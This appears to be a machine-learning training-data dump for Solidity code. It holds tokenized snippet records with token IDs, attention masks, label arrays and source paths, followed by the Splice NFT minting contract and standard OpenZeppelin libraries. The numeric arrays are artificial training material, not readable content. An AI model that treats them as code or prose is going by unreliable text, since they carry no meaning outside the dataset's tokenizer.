(utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } }
0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9
ILendingPool public immutable lendingPool;
265,666
[ 1, 20, 92, 27, 72, 5324, 9470, 72, 41, 1578, 70, 20, 70, 3672, 70, 27, 69, 5026, 6564, 71, 7677, 38, 72, 9988, 11290, 37, 8148, 5698, 71, 27, 37, 29, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 467, 48, 2846, 2864, 1071, 11732, 328, 2846, 2864, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x14cC8DfaF2258E1B8B2869300dBa1B734dc0fE43/sources/KtuneTokenBlocks.sol
* @return true if `msg.sender` is the owner of the contract./
function isOwner() public view returns (bool) { return msg.sender == _owner; }
2,737,020
[ 1, 2463, 638, 309, 1375, 3576, 18, 15330, 68, 353, 326, 3410, 434, 326, 6835, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 445, 353, 5541, 1435, 1071, 1476, 1135, 261, 6430, 13, 288, 203, 5411, 327, 1234, 18, 15330, 422, 389, 8443, 31, 203, 3639, 289, 203, 377, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// contracts/Splice.sol // SPDX-License-Identifier: MIT /* LCL SSL CSL SSL LCI ISL LCL ISL CI ISL PEE EEL EES LEEL IEE EEI PEE EES LEEL EES PEE EEL EES LEEL IEE EEI PEE EES LEEL EES PEE EEL EES LEEL IEE LL PEE EES LEEL LL PEE EEL EES LEEL IEE PEE EES LEEL PEE EEL EES LEEL IEE PEE EES LEEL LLL PEE LL EES LEEL IEE IPL PEE LLL LEEL EES LLL PEE EES SSL IEE PEC PEE LLL LEEL EES SEE PEE EES IEE PEC PEE EES LEEL LLL SEE PEE EES IEE PEC PEE EES LEEL SEE PEE EES IEE PEC PEE EES LEEL LL SEE PEE EES IEE PEC PEE EES LEEL EES SEE PEE EES IEE PEC PEE EES LEEL EES LSI LSI LCL LSS ISL LSI ISL LSS ISL */ pragma solidity 0.8.10; import '@openzeppelin/contracts/token/ERC20/IERC20.sol'; import '@openzeppelin/contracts/token/ERC721/IERC721.sol'; import '@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol'; import '@openzeppelin/contracts-upgradeable/utils/math/SafeMathUpgradeable.sol'; import '@openzeppelin/contracts-upgradeable/token/ERC721/IERC721Upgradeable.sol'; import '@openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol'; import '@openzeppelin/contracts-upgradeable/interfaces/IERC2981Upgradeable.sol'; import '@openzeppelin/contracts-upgradeable/interfaces/IERC165Upgradeable.sol'; import '@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol'; import '@openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol'; import '@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol'; import '@openzeppelin/contracts-upgradeable/utils/StringsUpgradeable.sol'; import './BytesLib.sol'; import './ArrayLib.sol'; import './Structs.sol'; import './SpliceStyleNFT.sol'; import './ReplaceablePaymentSplitter.sol'; /// @title Splice is a protocol to mint NFTs out of origin NFTs /// @author Stefan Adolf @elmariachi111 contract Splice is ERC721Upgradeable, OwnableUpgradeable, PausableUpgradeable, ReentrancyGuardUpgradeable, IERC2981Upgradeable { using SafeMathUpgradeable for uint256; using StringsUpgradeable for uint32; /// @notice you didn't send sufficient fees along error InsufficientFees(); /// @notice The combination of origin and style already has been minted error ProvenanceAlreadyUsed(); /// @notice only reserved mints are left or not on allowlist error NotAllowedToMint(string reason); error NotOwningOrigin(); uint8 public ROYALTY_PERCENT; string private baseUri; //lookup table //keccak(0xcollection + origin_tokenId + styleTokenId) => tokenId mapping(bytes32 => uint64) public provenanceToTokenId; /** * @notice the contract that manages all styles as NFTs. * Styles are owned by artists and manage fee quoting. * Style NFTs are transferrable (you can sell your style to others) */ SpliceStyleNFT public styleNFT; /** * @notice the splice platform account, i.e. a Gnosis Safe / DAO Treasury etc. */ address public platformBeneficiary; event Withdrawn(address indexed user, uint256 amount); event Minted( bytes32 indexed origin_hash, uint64 indexed tokenId, uint32 indexed styleTokenId ); event RoyaltiesUpdated(uint8 royalties); event BeneficiaryChanged(address newBeneficiary); function initialize( string memory baseUri_, SpliceStyleNFT initializedStyleNFT_ ) public initializer { __ERC721_init('Splice', 'SPLICE'); __Ownable_init(); __Pausable_init(); __ReentrancyGuard_init(); ROYALTY_PERCENT = 10; platformBeneficiary = msg.sender; baseUri = baseUri_; styleNFT = initializedStyleNFT_; } function pause() external onlyOwner { _pause(); } function unpause() external onlyOwner { _unpause(); } function setBaseUri(string memory newBaseUri) external onlyOwner { baseUri = newBaseUri; } function _baseURI() internal view override returns (string memory) { return baseUri; } //todo: the platform benef. should be the only one to name a new beneficiary, not the owner. function setPlatformBeneficiary(address payable newAddress) external onlyOwner { require(address(0) != newAddress, 'must be a real address'); platformBeneficiary = newAddress; emit BeneficiaryChanged(newAddress); } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721Upgradeable, IERC165Upgradeable) returns (bool) { return interfaceId == type(IERC2981Upgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * in case anything drops ETH/ERC20/ERC721 on us accidentally, * this will help us withdraw it. */ function withdrawEth() external nonReentrant onlyOwner { AddressUpgradeable.sendValue( payable(platformBeneficiary), address(this).balance ); } function withdrawERC20(IERC20 token) external nonReentrant onlyOwner { bool result = token.transfer( platformBeneficiary, token.balanceOf(address(this)) ); if (!result) revert('the transfer failed'); } function withdrawERC721(IERC721 nftContract, uint256 tokenId) external nonReentrant onlyOwner { nftContract.transferFrom(address(this), platformBeneficiary, tokenId); } function styleAndTokenByTokenId(uint256 tokenId) public pure returns (uint32 styleTokenId, uint32 token_tokenId) { bytes memory tokenIdBytes = abi.encode(tokenId); styleTokenId = BytesLib.toUint32(tokenIdBytes, 24); token_tokenId = BytesLib.toUint32(tokenIdBytes, 28); } // for OpenSea function contractURI() public pure returns (string memory) { return 'https://getsplice.io/contract-metadata'; } function tokenURI(uint256 tokenId) public view override returns (string memory) { require( _exists(tokenId), 'ERC721Metadata: URI query for nonexistent token' ); (uint32 styleTokenId, uint32 spliceTokenId) = styleAndTokenByTokenId( tokenId ); if (styleNFT.isFrozen(styleTokenId)) { StyleSettings memory settings = styleNFT.getSettings(styleTokenId); return string( abi.encodePacked( 'ipfs://', settings.styleCID, '/', spliceTokenId.toString() ) ); } else { return super.tokenURI(tokenId); } } function quote( uint32 styleTokenId, IERC721[] memory nfts, uint256[] memory originTokenIds ) external view returns (uint256 fee) { return styleNFT.quoteFee(styleTokenId, nfts, originTokenIds); } /** * @notice this will only have an effect for new styles */ function updateRoyalties(uint8 royaltyPercentage) external onlyOwner { require(royaltyPercentage <= 10, 'royalties must never exceed 10%'); ROYALTY_PERCENT = royaltyPercentage; emit RoyaltiesUpdated(royaltyPercentage); } // https://eips.ethereum.org/EIPS/eip-2981 // https://docs.openzeppelin.com/contracts/4.x/api/interfaces#IERC2981 // https://forum.openzeppelin.com/t/how-do-eip-2891-royalties-work/17177 /** * potentially (hopefully) called by marketplaces to find a target address where to send royalties * @notice the returned address will be a payment splitting instance */ function royaltyInfo(uint256 tokenId, uint256 salePrice) public view returns (address receiver, uint256 royaltyAmount) { (uint32 styleTokenId, ) = styleAndTokenByTokenId(tokenId); receiver = styleNFT.getSettings(styleTokenId).paymentSplitter; royaltyAmount = (ROYALTY_PERCENT * salePrice).div(100); } function mint( IERC721[] memory originCollections, uint256[] memory originTokenIds, uint32 styleTokenId, bytes32[] memory allowlistProof, bytes calldata inputParams ) external payable whenNotPaused nonReentrant returns (uint64 tokenId) { //CHECKS require( styleNFT.isMintable( styleTokenId, originCollections, originTokenIds, msg.sender ) ); if (styleNFT.availableForPublicMinting(styleTokenId) == 0) { if ( allowlistProof.length == 0 || !styleNFT.verifyAllowlistEntryProof( styleTokenId, allowlistProof, msg.sender ) ) { revert NotAllowedToMint('no reservations left or proof failed'); } else { styleNFT.decreaseAllowance(styleTokenId, msg.sender); } } uint256 fee = styleNFT.quoteFee( styleTokenId, originCollections, originTokenIds ); if (msg.value < fee) revert InsufficientFees(); bytes32 _provenanceHash = keccak256( abi.encodePacked(originCollections, originTokenIds, styleTokenId) ); if (provenanceToTokenId[_provenanceHash] != 0x0) { revert ProvenanceAlreadyUsed(); } //EFFECTS uint32 nextStyleMintId = styleNFT.incrementMintedPerStyle(styleTokenId); tokenId = BytesLib.toUint64( abi.encodePacked(styleTokenId, nextStyleMintId), 0 ); provenanceToTokenId[_provenanceHash] = tokenId; //INTERACTIONS with external contracts for (uint256 i = 0; i < originCollections.length; i++) { //https://github.com/crytic/building-secure-contracts/blob/master/development-guidelines/token_integration.md address _owner = originCollections[i].ownerOf(originTokenIds[i]); if (_owner != msg.sender || _owner == address(0)) { revert NotOwningOrigin(); } } AddressUpgradeable.sendValue( payable(styleNFT.getSettings(styleTokenId).paymentSplitter), fee ); _safeMint(msg.sender, tokenId); emit Minted( keccak256(abi.encode(originCollections, originTokenIds)), tokenId, styleTokenId ); //if someone sent slightly too much, we're sending it back to them uint256 surplus = msg.value.sub(fee); if (surplus > 0 && surplus < 100_000_000 gwei) { AddressUpgradeable.sendValue(payable(msg.sender), surplus); } return tokenId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMathUpgradeable { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165Upgradeable.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721Upgradeable is IERC165Upgradeable { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); 